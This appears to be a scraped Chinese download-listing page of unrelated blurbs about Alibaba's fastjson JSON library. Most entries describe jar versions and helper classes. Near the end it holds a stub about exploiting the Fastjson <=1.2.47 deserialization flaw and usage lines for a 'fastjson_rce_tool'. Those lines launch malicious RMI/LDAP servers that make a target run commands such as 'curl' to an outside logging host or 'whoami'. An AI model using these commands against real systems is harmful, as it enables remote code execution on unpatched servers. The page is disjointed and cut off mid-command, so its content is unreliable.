fastjson-1.2.47及源码、简单示例

fastjson-1.1.41.jar-javadoc-sources.zip Fastjson is a JSON processor (JSON parser + JSON generator) written in Java. Smallest, fastest polymorphic JSON serializer. java处理JSON类库的jar包，含源码 包含以下jar文件： fastjson-1.1.41.jar fastjson-1.1.41-javadoc.jar fastjson-1.1.41-sources.jar

阿里的fastjson-1.2.59.jar，目前比较流行的Json格式转换工具包。

fastjson1.2.24含源码

JSON(JavaScript Object Notation, JS 对象标记) 是一种轻量级的数据交换格式

 # Fastjson<=1.2.47反序列化漏洞为例 1、此时/tmp目录  2、编译Exploit.java javac

Alibaba_FastJson

这是一个封装好的FastJson工具类、里面已经处理各种情况~分享给大家

实现 httpclient 跨域访问 实例，，可直接运行

fastjson_rce_tool java -jar fastjson_tool.jar Usage: java -cp fastjson_tool.jar fastjson.HRMIServer 127.0.0.1 80 "curl dnslog.wyzxxz.cn" java -cp fastjson_tool.jar fastjson.HLDAPServer 127.0.0.1 80 "curl dnslog.wyzxxz.cn" java -cp fastjson_tool.jar fastjson.HLDAPServer2 127.0.0.1 80 "whoami" java -cp fastjson_tool.jar fastjson.LDAPRefServerAuto 127.0.0.1 1099 file=filename tamper=tohex java -cp